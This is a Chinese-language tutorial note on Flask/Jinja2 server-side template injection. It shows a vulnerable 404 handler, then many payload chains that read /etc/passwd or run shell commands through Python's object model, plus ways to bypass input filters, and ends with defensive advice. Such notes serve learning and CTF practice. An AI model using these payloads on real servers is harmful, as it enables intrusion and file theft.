python flask ssti学习笔记
字数 1277 2025-08-15 21:33:57
Flask SSTI (Server-Side Template Injection) 漏洞深入解析与利用
一、SSTI 漏洞概述
SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当用户输入未经适当过滤就被服务器模板引擎直接渲染时,攻击者可以注入恶意模板代码,导致任意代码执行、文件读取等严重后果。
在 Flask 框架中,使用 Jinja2 作为默认模板引擎,当开发者错误地使用 render_template_string() 函数直接渲染用户输入时,就可能产生 SSTI 漏洞。
二、漏洞代码示例
from flask import Flask, render_template_string
import urllib.parse
app = Flask(__name__)
@app.errorhandler(404)
def page_not_found(e):
template = """
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
""" % urllib.parse.unquote(request.url)
return render_template_string(template), 404
漏洞点在于直接将用户输入的 URL 通过 %s 插入模板,然后使用 render_template_string 渲染,导致用户可以注入 Jinja2 模板语法。
三、基础利用方法
1. 基本验证
最简单的验证方式是注入 {{ 7*7 }},如果返回 49 则存在 SSTI 漏洞。
2. Python 对象模型利用
Python 中一切皆对象,可以通过以下方法链获取敏感信息:
''.__class__- 获取字符串对象的类.__mro__- 获取方法解析顺序(继承链).__subclasses__()- 获取所有子类.__globals__- 获取全局变量
四、文件读取技术
Python 2.x 环境
# 直接使用 file 类
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
# 通过 __builtins__ 获取 file
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
Python 3.x 环境
# 使用 open 函数
''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
五、命令执行技术
Python 2.x 环境
- 使用 eval 执行命令
# 寻找包含 eval 的类
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
- 利用已导入 os 的类
# 寻找包含 os 模块的类
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()
- 利用 warnings.catch_warnings
# 通过 linecache 找到 os 模块
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[109]('whoami').read()
- 利用 commands 模块
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')
Python 3.x 环境
- 使用 eval 执行命令
''.__class__.__mro__[-1].__subclasses__()[180].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
- 利用 os._wrap_close 类
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('whoami').read()
六、绕过过滤技术
1. 绕过中括号过滤
# 使用 pop 方法
''.__class__.__mro__[-1].__subclasses__().pop(40)('/etc/passwd').read()
# 使用 __getitem__ 方法
''.__class__.__mro__[-1].__subclasses__().__getitem__(40)('/etc/passwd').read()
2. 绕过引号过滤
使用 Flask 的 request.args:
{{''.__class__.__mro__[-1].__subclasses__().pop(40)(request.args.path).read()}}?path=/etc/passwd
3. 绕过点号(.)和双下划线(__)过滤
# 使用 [] 访问属性
{{url_for['__globals__']['current_app']['config']['FLAG']}}
4. 绕过关键字过滤
- Base64 编码绕过
''.__getattribute__('X19jbGFzc19f'.decode('base64')).__mro__[-1].__subclasses__()[40]('/etc/passwd').read()
- Unicode 编码绕过
''.__getattribute__("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f").__mro__[-1].__subclasses__()[127].__init__.__globals__['popen']('whoami').read()
- 字符串拼接
{{''['__cla'+'ss__']['__mr'+'o__'][-1]['__subcla'+'sses__']()[59]['__in'+'it__']['__glo'+'bals__']['__buil'+'tins__']['eva'+'l']('__impor'+'t__("o'+'s").popen("whoami").read()')}}
5. 绕过花括号过滤
使用 {% if ... %} 条件语句:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read() %}1{% endif %}
6. 使用 Jinja2 内置过滤器
- 声明变量
{% with a = '__cla' %}{% with b = 'ss__' %}{{''[a~b]}}{% endwith %}{% endwith %}
- 利用 join 过滤器
{{['__clas','s__']|join}}
- 利用 format 过滤器
{{ "%s%s"|format("__cla","ss__") }}
七、防御措施
- 避免直接渲染用户输入:不要使用
render_template_string直接渲染用户输入 - 使用安全的模板变量:使用
{{ variable }}而非%s进行字符串格式化 - 启用 Jinja2 沙箱:配置 Jinja2 的沙箱环境限制危险操作
- 输入过滤:对用户输入进行严格的过滤和转义
- 使用静态模板:尽可能使用静态模板文件而非动态生成模板
八、总结
Flask SSTI 漏洞利用的核心在于理解 Python 的对象模型和 Jinja2 的模板渲染机制。通过对象继承链和全局变量访问,攻击者可以执行任意代码或读取敏感文件。防御的关键在于正确处理用户输入和使用安全的模板渲染方式。